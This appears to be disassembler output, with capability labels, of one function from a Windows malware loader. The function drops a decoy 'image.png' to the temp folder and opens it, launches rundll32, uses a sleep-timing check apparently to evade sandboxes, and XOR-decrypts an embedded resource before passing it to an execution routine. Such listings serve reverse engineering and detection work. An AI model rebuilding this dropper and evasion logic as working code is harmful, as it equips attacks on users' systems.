Function at 0x40194a
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x380
call sym.___main
lea eax, [ebp - 0x2c8]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathW]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401992
mov ebx, 0
jmp 0x401fb1
mov dword [esp], str.C:WindowsSystem32kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [esp + 4], str.LoadResource
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 4], str.LockResource
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [esp + 4], str.SizeofResource
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [esp + 4], str.FindResourceA
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x67
mov dword [esp], 0
call eax
sub esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401b8e
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x401b98
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov dword [esp], edx
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x28], 0
je 0x401b98
cmp dword [ebp - 0x2c], 0
je 0x401b98
lea eax, [ebp - 0xa5]
mov dword [ebp - 0x6c], eax
nop
nop
lea eax, [ebp - 0xc0]
lea edx, [ebp - 0xa5]
mov dword [esp + 4], edx
lea edx, [ebp - 0x2c8]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
sub esp, 8
lea eax, [ebp - 0x34c]
mov dword [esp + 8], str.image.png
lea edx, [ebp - 0xc0]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____wchar_t_const_
lea eax, [ebp - 0xc0]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea eax, [ebp - 0xa5]
mov ecx, eax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea eax, [ebp - 0x89]
mov dword [ebp - 0x70], eax
nop
nop
lea eax, [ebp - 0xa4]
lea edx, [ebp - 0x89]
mov dword [esp + 4], edx
mov dword [esp], str.image.png
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
sub esp, 8
lea eax, [ebp - 0xa4]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym.saveFile_unsigned_char_const__unsigned_int__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
mov ebx, eax
lea eax, [ebp - 0xa4]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea eax, [ebp - 0x89]
mov ecx, eax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
test bl, bl
je 0x401b7f
lea eax, [ebp - 0x34c]
mov dword [esp], eax
call sym.openFileWithDefaultProgram_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea eax, [ebp - 0x34c]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x401b98
mov ebx, 0xffffffff
jmp 0x401fb1
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x30c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x30c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 4], str.CreateProcessW
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x31c]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x30c]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.C:WindowsSystem32_rundll32.exe
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x401c67
mov ebx, 0xffffffff
jmp 0x401fb1
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x34], eax
call method.std::chrono::_V2::steady_clock.now__
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], edx
mov dword [esp], 0x2710
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call method.std::chrono::_V2::steady_clock.now__
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], edx
lea eax, [ebp - 0x328]
mov dword [esp + 4], eax
lea eax, [ebp - 0x330]
mov dword [esp], eax
call sym.__ZNSt6chronomiINS_3_V212steady_clockENS_8durationIxSt5ratioILx1ELx1000000000EEEES6_EENSt11common_typeIJT0_T1_EE4typeERKNS_10t
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
lea eax, [ebp - 0x88]
lea edx, [ebp - 0x80]
mov dword [esp], edx
mov ecx, eax
call method.std::chrono::duration_double__std::ratio_1ll__1ll___::duration_long_long__std.ratio_1ll__1000000000ll___void__std::chrono::duration_long_long__std::ratio_1ll__1000000000ll____const_
sub esp, 4
lea eax, [ebp - 0x88]
mov ecx, eax
call method.std::chrono::duration_double__std::ratio_1ll__1ll___.count___const
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fld qword [0x4361a0]
fcompi st(1)
fstp st(0)
jbe 0x401d26
mov eax, dword [ebp - 0x31c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x318]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov ebx, 0
jmp 0x401fb1
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x66
mov dword [esp], 0
call eax
sub esp, 0xc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x401d58
mov ebx, 0xffffffff
jmp 0x401fb1
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x44]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 8
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x401d81
mov ebx, 0xffffffff
jmp 0x401fb1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x48]
mov dword [esp], edx
call eax
sub esp, 4
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x44]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 8
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x65
mov dword [esp], 0
call eax
sub esp, 0xc
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x401e15
cmp dword [ebp - 0x54], 0
je 0x401e0b
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym.operator_delete___void_
mov ebx, 0xffffffff
jmp 0x401fb1
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x58]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 8
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jne 0x401e4f
cmp dword [ebp - 0x54], 0
je 0x401e45
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym.operator_delete___void_
mov ebx, 0xffffffff
jmp 0x401fb1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x5c]
mov dword [esp], edx
call eax
sub esp, 4
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x58]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 8
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x60], 0
je 0x401e85
cmp dword [ebp - 0x64], 0
jne 0x401ea0
cmp dword [ebp - 0x54], 0
je 0x401e96
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym.operator_delete___void_
mov ebx, 0xffffffff
jmp 0x401fb1
lea eax, [ebp - 0x74]
mov dword [esp], eax
call method.std::__detail::_MakeUniq_XorDecryptor_::__single_object_std.make_unique_XorDecryptor___
lea eax, [ebp - 0x334]
lea edx, [ebp - 0x74]
mov dword [esp], edx
mov ecx, eax
call method.std::unique_ptr_Decryptor__std::default_delete_Decryptor___::unique_ptr_XorDecryptor__std.default_delete_XorDecryptor___void__std::unique_ptr_XorDecryptor__std::default_delete_XorDecryptor____
sub esp, 4
lea eax, [ebp - 0x74]
mov ecx, eax
call method.std::unique_ptr_XorDecryptor__std::default_delete_XorDecryptor___.unique_ptr__
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x334]
mov ecx, eax
call method.std::unique_ptr_Decryptor__std::default_delete_Decryptor___.operator_____const
mov edx, dword [eax]
mov edx, dword [edx]
mov ecx, dword [ebp - 0x64]
mov dword [esp + 0x10], ecx
mov ecx, dword [ebp - 0x50]
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0x54]
mov dword [esp + 8], ecx
mov ecx, dword [ebp - 0x68]
mov dword [esp + 4], ecx
mov ecx, dword [ebp - 0x60]
mov dword [esp], ecx
mov ecx, eax
call edx
sub esp, 0x14
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sym.ExeCution_unsigned_char_const__unsigned_long_
test eax, eax
sete al
test al, al
je 0x401f57
cmp dword [ebp - 0x68], 0
je 0x401f3f
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sym.operator_delete___void_
cmp dword [ebp - 0x54], 0
je 0x401f50
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym.operator_delete___void_
mov ebx, 0xffffffff
jmp 0x401fa4
cmp dword [ebp - 0x68], 0
je 0x401f68
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sym.operator_delete___void_
cmp dword [ebp - 0x54], 0
je 0x401f79
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, dword [ebp - 0x31c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x318]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov ebx, 0
lea eax, [ebp - 0x334]
mov ecx, eax
call method.std::unique_ptr_Decryptor__std::default_delete_Decryptor___.unique_ptr__
mov eax, ebx
jmp 0x402038
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret